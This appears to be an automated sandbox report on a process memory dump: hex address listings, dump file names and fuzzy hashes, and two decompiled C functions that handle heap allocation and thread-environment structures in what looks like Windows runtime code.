0x00000000
0x04b2dad7
0x04b2dad9
0x04b2dadb
0x00000000
0x00000000
0x04b2dae1
0x04b2dae1
0x04b2dae4
0x04b2dae6
0x04b7b4f9
0x04b7b4f9
0x04b7b500
0x04b2daec
0x04b2daec
0x04b2daf5
0x04b2daf8
0x04b2dafb
0x04b2db03
0x04b2db11
0x04b2db16
0x04b2db19
0x04b2db1b
0x04b7b52c
0x04b7b531
0x04b7b534
0x04b2db21
0x04b2db21
0x04b2db24
0x04b2dcd9
0x04b2dce2
0x04b2dce5
0x04b2dd6a
0x04b2dd6d
0x00000000
0x04b2dd73
0x04b7b51a
0x04b7b51c
0x04b7b51f
0x04b7b524
0x00000000
0x04b7b524
0x04b2dce7
0x04b2dce7
0x04b2dce7
0x00000000
0x04b2dce7
0x00000000
0x04b2db2a
0x04b2db2c
0x04b2db31
0x04b2db33
0x04b2db36
0x04b2db39
0x04b2db3b
0x04b2db66
0x04b2db66
0x04b2db3d
0x04b2db3d
0x04b2db3e
0x04b2db46
0x04b2db47
0x04b2db49
0x04b2db4c
0x04b2db53
0x04b2db55
0x04b2db58
0x04b2db5a
0x04b7b50a
0x04b7b50f
0x04b7b512
0x04b2db60
0x04b2db60
0x04b2db63
0x04b2db63
0x00000000
0x04b2db63
0x04b2db5a
0x04b2db3b
0x04b2db24
0x04b2db69
0x04b2db69
0x04b2db6c
0x04b2db6f
0x04b2db74
0x04b7b557
0x04b7b557
0x04b7b55e
0x04b2db7a
0x04b2db7c
0x04b2db7f
0x04b2db82
0x04b2db85
0x00000000
0x04b2db8b
0x04b2db8b
0x04b2db8d
0x04b2db9b
0x04b2db9b
0x04b2db9d
0x04b2dba0
0x04b2dba2
0x04b2dba4
0x04b2dba7
0x04b2dba9
0x04b2dbae
0x04b2dbae
0x04b2dbb1
0x04b2dbb4
0x04b2dbb4
0x04b2dbb7
0x04b2dbba
0x04b2dcd2
0x04b2dcd4
0x00000000
0x04b2dbc0
0x04b2dbc0
0x04b2dbd2
0x04b2dbd7
0x04b2dbda
0x04b2dbdd
0x04b2dbdf
0x00000000
0x04b2dbe5
0x04b2dbe5
0x04b2dbee
0x04b2dbf1
0x04b7b541
0x04b7b544
0x00000000
0x04b7b546
0x04b7b546
0x00000000
0x04b7b546
0x04b2dbf7
0x04b2dbf7
0x04b2dbfd
0x04b2dbfd
0x04b2dbff
0x04b2dc0b
0x04b2dc15
0x04b2dc1b
0x04b2dc1d
0x04b2dc21
0x04b2dc21
0x04b2dc23
0x04b2dc23
0x04b2dc26
0x04b2dc29
0x04b2dc2b
0x00000000
0x00000000
0x04b2dc31
0x04b2dc34
0x04b2dc36
0x04b2dcbf
0x04b2dcbf
0x04b2dcc2
0x00000000
0x04b2dc3c
0x04b2dc41
0x04b2dc43
0x00000000
0x04b2dc45
0x04b2dc45
0x04b2dc47
0x00000000
0x04b2dc4d
0x04b2dc4d
0x04b2dc50
0x04b2dc52
0x04b2dc55
0x04b2dcfa
0x04b2dcfe
0x04b2dd08
0x04b2dd0a
0x04b2dd0c
0x00000000
0x04b2dd12
0x04b2dd15
0x04b2dd2d
0x04b2dd2f
0x04b2dd32
0x04b2dd35
0x00000000
0x04b2dd35
0x04b2dc5b
0x04b2dc5b
0x04b2dc5e
0x04b2dc61
0x04b2dc64
0x04b2dc67
0x04b2dc67
0x04b2dc6a
0x04b2dc6c
0x04b2dc8e
0x04b2dc8e
0x04b2dc91
0x04b2dc93
0x04b2dcce
0x04b2dcce
0x04b2dc95
0x04b2dc9c
0x04b2dc6e
0x04b2dc72
0x04b2dc75
0x04b2dc77
0x04b2dc79
0x04b7b551
0x04b7b551
0x00000000
0x04b2dc7f
0x04b2dc7f
0x04b2dc81
0x00000000
0x04b2dc83
0x04b2dc86
0x04b2dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x04b2dc88
0x04b2dc81
0x04b2dc79
0x04b2dc6c
0x04b2dc55
0x04b2dc47
0x04b2dc43
0x00000000
0x04b2dc36
0x04b2dc23
0x00000000
0x04b2dbff
0x04b2dbf1
0x04b2dbdf
0x04b2db8f
0x04b2db92
0x04b2db95
0x00000000
0x00000000
0x00000000
0x00000000
0x04b2db95
0x04b2db8d
0x04b2db85
0x04b2db74
0x04b2dc9f
0x04b2dca2
0x04b2dcb0
0x04b2dcb0
0x04b2dad1
0x04b7b4e5
0x04b7b4c8
0x00000000
0x00000000
0x00000000
0x04b2d831
0x04b2d80d
0x00000000
0x04b2d800
0x04b7b47f
0x04b7b485
0x00000000
0x04b7b485
0x04b2d665
0x04b2d652
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badd303998fed775beda758169a2a60a04e55d1cf9a13ff9f040ada95719a844
Instruction ID: 44d464ecb4531e4e8db449b9cee105d6d88e4ac0dc0e4e0e561ce7620e65089f
Opcode Fuzzy Hash: badd303998fed775beda758169a2a60a04e55d1cf9a13ff9f040ada95719a844
Instruction Fuzzy Hash: 99E1AF34A042698FEB25DF28CA84BA9B7B6FF45308F0541E9D91D9B290D738BD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04B2849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E04B2849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x4bef9c0);
				E04B6D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x4c07b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E04B2CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E04B32280( *[fs:0x30], 0x4c08550);
						_t139 =  *0x4c07b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E04B4F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E04B2FFB0(_t193, _t235, 0x4c08550);
								L5:
								return E04B6D130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E04B11C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x4c07b9c; // 0x0
							_t235 = L04B34620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x4c07b10; // 0x9
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E04B4A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E04B2FFB0(_t193, _t235, 0x4c08550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L04B377F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L04B377F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x4c07b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x4c07b10; // 0x9
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E04B537C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x4c07b9c; // 0x0
									_t214 = L04B34620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E04B537F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x4c07b10 =  *0x4c07b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x4c07b04 =  *0x4c07b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L04B377F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L04B377F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x4c07b08 =  *0x4c07b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E04B557C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E04B5F3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L04B377F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E04B4A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L04B377F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E04B596C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x04b2849b
0x04b2849b
0x04b2849b
0x04b2849b
0x04b2849d
0x04b284a2
0x04b284a7
0x04b284b1
0x04b284d8
0x00000000
0x04b284b3
0x04b284c4
0x04b284c9
0x04b284cd
0x04b284cf
0x04b284cf
0x04b284d6
0x04b284e6
0x04b284e9
0x04b284ec
0x04b284ef
0x04b284f2
0x04b284f4
0x04b284fc
0x04b28501
0x04b28506
0x04b28509
0x04b286e0
0x04b286e5
0x04b286e8
0x04b286ed
0x04b286f0
0x04b286f2
0x04b79afd
0x04b79b02
0x04b284da
0x04b284df
0x04b284df
0x04b286fa
0x04b286fd
0x04b286fe
0x04b28701
0x04b28706
0x04b28709
0x04b2870b
0x00000000
0x00000000
0x04b28711
0x04b28725
0x04b28727
0x04b2872a
0x04b2872c
0x04b79af0
0x04b79af5
0x04b28732
0x04b28732
0x04b28732
0x04b28735
0x04b28737
0x04b28515
0x04b28515
0x04b28518
0x04b2851d
0x04b28523
0x04b28527
0x04b2852b
0x04b28537
0x04b28539
0x04b2853c
0x04b2853e
0x04b2868c
0x04b28691
0x04b28699
0x04b2869b
0x04b28744
0x04b28748
0x04b286a1
0x04b286a1
0x04b286a1
0x04b286a4
0x04b286a8
0x04b79bdf
0x04b79bdf
0x04b286ae
0x04b286b0
0x00000000
0x04b286b6
0x00000000
0x04b79be9
0x04b286b0
0x04b28544
0x04b2854a
0x04b2854d
0x04b28551
0x04b2876e
0x04b28778
0x04b2877b
0x04b28780
0x04b28557
0x04b28557
0x04b2855d
0x04b2855d
0x04b2856b
0x04b2856e
0x04b28570
0x04b28573
0x04b28576
0x04b28576
0x04b28579
0x04b2857b
0x00000000
0x00000000
0x04b28581
0x04b285a0
0x04b285a2
0x04b285a5
0x04b285a7
0x04b79b1b
0x04b79b1b
0x04b2862e
0x04b2862e
0x04b28631
0x04b28631
0x04b28634
0x04b28636
0x04b28669
0x04b28669
0x04b2866b
0x04b79bbf
0x04b79bc4
0x04b79bc8
0x04b79bce
0x04b79bce
0x04b28671
0x04b28671
0x04b28674
0x04b28676
0x04b79bae
0x04b79bae
0x04b28676
0x04b2867c
0x04b2867e
0x04b28688
0x04b28688
0x00000000
0x04b2867e
0x04b28638
0x04b28638
0x04b2863b
0x04b2863e
0x04b2863f
0x04b28642
0x04b28645
0x04b28648
0x04b2864d
0x04b79b69
0x04b79b6e
0x04b79b7b
0x04b79b81
0x04b79b85
0x04b79b89
0x04b79ba7
0x04b79b8b
0x04b79b91
0x04b79b9a
0x04b79b9f
0x04b79b9f
0x04b28788
0x04b2878d
0x04b28763
0x04b28763
0x04b28766
0x00000000
0x04b28766
0x04b79b70
0x00000000
0x04b79b70
0x04b28656
0x04b2865a
0x04b2865c
0x04b28752
0x04b28756
0x00000000
0x00000000
0x04b2875e
0x00000000
0x04b2875e
0x04b28662
0x04b28662
0x04b28662
0x04b28666
0x00000000
0x04b28666
0x04b285b7
0x04b285b9
0x04b285bc
0x04b285bf
0x04b285cc
0x04b285d1
0x04b285d4
0x04b285db
0x04b285de
0x04b285e0
0x04b79b5f
0x00000000
0x04b79b5f
0x04b285e6
0x04b285ea
0x04b286c3
0x04b286c5
0x04b286c8
0x04b286ca
0x04b79b16
0x00000000
0x04b79b16
0x04b286d6
0x04b285f6
0x04b285f6
0x04b285f9
0x04b28602
0x04b28606
0x04b2860a
0x04b2860b
0x04b2860e
0x04b28611
0x00000000
0x04b28611
0x04b285f3
0x00000000
0x04b285f3
0x04b28619
0x04b2861e
0x04b2861e
0x04b28621
0x04b28622
0x04b28623
0x04b28625
0x04b2862c
0x00000000
0x04b2873d
0x00000000
0x04b2873d
0x04b28737
0x04b2850f
0x04b28512
0x00000000
0x04b28512
0x00000000
0x04b284d6

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00e0c8f492f304c0015647abeb18f484d57f6ccb3e871b1d81259d95cc48db1
Instruction ID: c9b2981cb3a03f4688572ca83613c6a90664c398ed15ac6e414e3be33b4f80c2
Opcode Fuzzy Hash: c00e0c8f492f304c0015647abeb18f484d57f6ccb3e871b1d81259d95cc48db1
Instruction Fuzzy Hash: BDB18FB0E00219DFEB15DFD9CA80AADBBB5FF48304F1046A9E419AB351D774B941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 04B4513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04B4513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x4c0d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E04B5D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E04B32280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L04B34620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E04B5F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E04B2FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x4c0b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E04B5B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x04b45142
0x04b4514c
0x04b45150
0x04b45157
0x04b45159
0x04b4515e
0x04b45165
0x04b45169
0x04b4516c
0x04b45172
0x04b45176
0x04b4517a
0x04b4517a
0x04b4517a
0x04b4517f
0x04b86d8b
0x04b86d8e
0x04b86d91
0x04b86d95
0x04b86d98
0x04b86d9c
0x04b86da0
0x04b86da3
0x04b86da7
0x04b86e26
0x04b86e26
0x04b86e2a
0x04b451f9
0x04b451f9
0x04b451fe
0x04b86e33
0x04b86e33
0x04b86e39
0x04b86e3d
0x04b86e46
0x04b86e50
0x00000000
0x00000000
0x04b86e52
0x04b86e53
0x04b86e56
0x04b86e5d
0x00000000
0x00000000
0x00000000
0x04b86e5f
0x04b86e67
0x04b86e77
0x04b86e7f
0x04b86e80
0x04b86e88
0x04b86e90
0x04b86e9f
0x04b86ea5
0x04b86ea9
0x04b86eb1
0x04b86ebf
0x00000000
0x00000000
0x04b86ecf
0x04b86ed3
0x00000000
0x00000000
0x04b86edb
0x04b86ede
0x04b86ee1
0x04b86ee8
0x04b86eeb
0x04b86eed
0x04b86ef0
0x04b86ef4
0x04b86ef8
0x04b86efc
0x00000000
0x00000000
0x04b86f0d
0x04b86f11
0x04b86f32
0x04b86f37
0x04b86f3b
0x04b86f3e
0x04b86f41
0x04b86f46
0x00000000
0x00000000
0x04b86f4c
0x04b86f50
0x04b86f50
0x04b86f54
0x04b86f62
0x04b86f65
0x04b86f6d
0x04b86f7b
0x04b86f7b
0x04b86f93
0x04b86f98
0x04b86fa0
0x04b86fa6
0x04b86fb3
0x04b86fb6
0x04b86fbf
0x04b86fc1
0x04b86fd5
0x04b86fda
0x04b86fda
0x04b86fdd
0x04b86fe2
0x04b86fe7
0x04b86feb
0x04b86fef
0x04b86ff3
0x04b4520c
0x04b4520c
0x04b4520f
0x04b45215
0x04b45234
0x04b4523a
0x04b4523a
0x04b45244
0x04b45245
0x04b45246
0x04b45251
0x04b45251
0x04b86f13
0x04b86f17
0x04b86f17
0x04b86f18
0x04b86f1b
0x04b86f1f
0x04b86f23
0x00000000
0x04b86f28
0x04b45204
0x04b45204
0x04b45208
0x00000000
0x04b45208
0x04b45185
0x04b45188
0x04b4518a
0x04b4518e
0x04b45195
0x04b86db1
0x04b86db5
0x04b86db9
0x04b4519b
0x04b4519b
0x04b4519e
0x04b451a7
0x04b451a9
0x04b451a9
0x04b451b5
0x04b451b8
0x04b451bb
0x04b451be
0x04b451c1
0x04b451c5
0x04b451c9
0x04b451cd
0x04b451cd
0x04b451d8
0x04b451dc
0x04b451e0
0x04b86dcc
0x04b86dd0
0x04b86dd5
0x04b86ddd
0x04b86de1
0x04b86de1
0x04b86de5
0x04b86deb
0x04b86df1
0x04b86df7
0x04b86dfd
0x04b86e01
0x04b86e05
0x04b86e09
0x04b86e0d
0x04b86e11
0x04b86e11
0x04b451eb
0x04b86e1a
0x04b86e1f
0x04b86e21
0x04b86e23
0x00000000
0x04b451f1
0x04b451f1
0x00000000
0x04b451f1

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

